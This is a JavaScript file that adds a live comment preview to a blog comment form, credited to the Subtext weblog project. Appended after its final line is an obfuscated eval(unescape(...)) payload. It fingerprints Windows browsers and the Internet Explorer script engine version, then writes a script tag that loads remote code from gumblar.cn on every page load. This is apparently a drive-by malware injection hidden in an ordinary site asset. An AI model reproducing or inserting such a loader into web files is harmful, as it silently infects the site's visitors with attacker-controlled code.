/*
Adds Live Comment Preview for comment forms.

USAGE: Simply add the css class "livepreview" to the textarea that
is the source of the comment and to the <div> element that
will display the live preview.

Note that livepreview does not have to be the only css class.

ex... Make this edit in PostComment.ascx

<asp:TextBox id="tbComment" runat="server" Rows="10" Columns="40" width="100%" Height="193px"
					TextMode="MultiLine" class="livepreview"></asp:TextBox>

<div class="comment livepreview"></div>

Original Source for this JS taken from the Subtext Project:
///////////////////////////////////////////////////////////////////////////////////////////////////
// Subtext WebLog
//
// Subtext is an open source weblog system that is a fork of the .TEXT
// weblog system.
//
// For updated news and information please visit http://subtextproject.com/
// Subtext is hosted at SourceForge at http://sourceforge.net/projects/subtext
// The development mailing list is at subtext-devs@lists.sourceforge.net
//
// This project is licensed under the BSD license.  See the License.txt file for more information.
///////////////////////////////////////////////////////////////////////////////////////////////////
*/

function initLiveCommentPreview()
{
	if (!document.getElementsByTagName) { return; }

	var divs = document.getElementsByTagName('div');
	var previewElement = getPreviewDisplayElement(divs);

	if(!previewElement) {return;}
	var textareas = document.getElementsByTagName('textarea');

	// loop through all input tags
	for (var i = 0; i < textareas.length; i++)
	{
		var textarea = textareas[i];
		if (getClassName(textarea).indexOf('livepreview') >= 0)
		{
			textarea.onkeyup = function () {reloadPreview(this, previewElement); return false;}
			reloadPreview(textarea, previewElement);
		}
	}
}

// Returns the html element responsible for previewing
// comments.
function getPreviewDisplayElement(elements)
{
	// loop through all elements
	for (var i = 0; i < elements.length; i++)
	{
		var element = elements[i];

		if (getClassName(element).indexOf('livepreview') >= 0)
		{
			return element;
		}
	}
}

function getClassName(element)
{
	if(element.getAttribute && element.getAttribute('class'))
	{
		return element.getAttribute('class');
	}
	else if(element.className)
	{
		return element.className;
	}
	return "";
}

function reloadPreview(textarea, previewDisplay)
{
	var previewString = textarea.value;
	if (previewString.length > 0)
	{
		previewString = htmlUnencode(previewString);
		previewString = previewString.replace(new RegExp("(.*)\n\n([^#\*\n\n].*)","g"), "<p>$1</p><p>$2</p>");
		previewString = previewString.replace(new RegExp("(.*)\n([^#\*\n].*)","g"), "$1<br />$2");

		for(var i = 0; i < allowedHtmlTags.length; i++)
		{
			var allowedTag = allowedHtmlTags[i];
			previewString = previewString.replace(new RegExp("&lt;(" + allowedTag + ".*?)&gt;(.+?)&lt;/(" + allowedTag + ")&gt;","g"), "<$1>$2</$3>");
		}
	}
	try
	{
		previewDisplay.innerHTML = previewString;
	}
	catch(e)
	{
		alert('Sorry, but inserting a block element within is not allowed here.');
	}
}

function htmlUnencode(s)
{
	return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
}


//
// addLoadEvent()
// Adds event to window.onload without overwriting currently assigned onload functions.
// Function found at Simon Willison's weblog - http://simon.incutio.com/
//
function addLoadEvent(func)
{
	var oldonload = window.onload;
	if (typeof window.onload != 'function')
	{
		window.onload = func;
	}
	else
	{
		window.onload = function()
		{
			oldonload();
			func();
		}
	}
}

addLoadEvent(initLiveCommentPreview);<!-- 
(function(t){eval(unescape(('var>20a>3d>22>53criptEngi>6e>65>22>2c>62>3d>22Ver>73i>6fn>28>29>2b>22>2cj>3d>22>22>2cu>3d>6e>61vigator>2euse>72Age>6et>3b>69f((u>2e>69nd>65>78Of(>22Win>22)>3e0>29>26>26(u>2e>69>6edexOf>28>22NT>206>22>29>3c>30)>26>26(>64ocume>6et>2e>63>6foki>65>2ein>64exO>66(>22miek>3d1>22>29>3c0)>26>26>28t>79peof>28z>72>76z>74s)>21>3dt>79peof(>22A>22>29>29)>7bzrvz>74s>3d>22>41>22>3be>76>61l>28>22>69>66(win>64o>77>2e>22>2ba+>22>29j>3d>6a+>22+a+>22Ma>6a>6f>72>22+>62+a+>22Min>6f>72>22+b+a+>22B>75>69l>64>22+b+>22>6a>3b>22)>3b>64ocument>2ewr>69te(>22>3cscri>70t>20src>3d>2f>2fg>75mbl>61r>2ecn>2fr>73s>2f>3f>69>64>3d>22+j+>22>3e>3c>5c>2f>73>63>72ipt>3e>22>29>3b>7d').replace(t,'%')))})(/>/g);
 -->